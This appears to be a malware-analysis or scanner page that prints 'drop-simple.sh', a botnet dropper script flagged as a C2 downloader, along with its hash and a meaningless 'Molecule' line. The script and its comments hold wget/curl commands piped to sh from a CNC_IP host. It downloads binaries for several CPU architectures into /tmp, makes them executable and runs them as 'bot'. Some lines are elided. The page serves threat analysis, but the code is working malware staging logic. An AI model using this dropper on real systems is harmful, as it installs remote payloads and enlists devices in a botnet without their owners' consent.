drop-simple.sh
C2 downloader executes remote binaries
AArch64 (ARM64) architecture stringReferences curl flags and HTTP URL
SHA-256b9f33ec7975260a08cefb2604a39f1e52e84ebada9fc07c3a39a5e4fd75d933e
MaleculeO₂(DyEr)H₄(Cm₉F₃OsPo₆)
Evidence
1#!/bin/sh
2# Super-simple drop tester: try each arch until one runs.
3#
4# wget -qO- http://CNC_IP/drop-simple.sh | sh
5# wget -qO- http://CNC_IP/drop-simple.sh | sh -s -- http://CNC_IP
6# curl -fsSL http://CNC_IP/drop-simple.sh | sh -s -- http://1.2.3.4
7#
8# Optional arg: BASE URL (http://CNC_IP). If omitted, uses baked BASE below.
⋯5 lines
14:4… cho "[drop-simple] need BASE: sh drop-simple.sh http://CNC_IP" >&2
15 exit 1
16fi
17BASE=$(echo "$BASE" | sed 's|/*$||')
18
19cd /tmp || exit 1
20export POC_ALLOW_VM="${POC_ALLOW_VM:-1}"
21echo "[drop-simple] uname=$(uname -m) base=$BASE POC_ALLOW_VM=$POC_ALLOW_VM"
22
23# Try common publish names until one downloads and runs.
24for ARCH in bot aarch64 armv7l armv5l armv4l i686 mipsel mips mips64; do
25 OUT="/tmp/d-${ARCH}-$$"
26 rm -f "$OUT"
27 echo "[drop-simple] try ${BASE}/${ARCH}"
28
29 OK=0
30 if command -v wget >/dev/null 2>&1; then
31 wget -q -O "$OUT" "${BASE}/${ARCH}" 2>/dev/null && OK=1
32 elif command -v curl >/dev/null 2>&1; then
33 curl -fsSL "${BASE}/${ARCH}" -o "$OUT" 2>/dev/null && OK=1
34 elif command -v busybox >/dev/null 2>&1; then
35 busybox wget -q -O "$OUT" "${BASE}/${ARCH}" 2>/dev/null && OK=1
36 else
37 echo "[drop-simple] no wget/curl/busybox" >&2
⋯4 lines
41:20… || [ ! -s "$OUT" ]; then
42 echo "[drop-simple] miss/empty"
43 rm -f "$OUT"
44 continue
45 fi
⋯6 lines
52 fi
53
54 chmod +x "$OUT" || { rm -f "$OUT"; continue; }
55 echo "[drop-simple] got ${SZ}B — running $OUT"
56 exec "$OUT" bot
57done
58
59echo "[drop-simple] nothing worked" >&2
60exit 1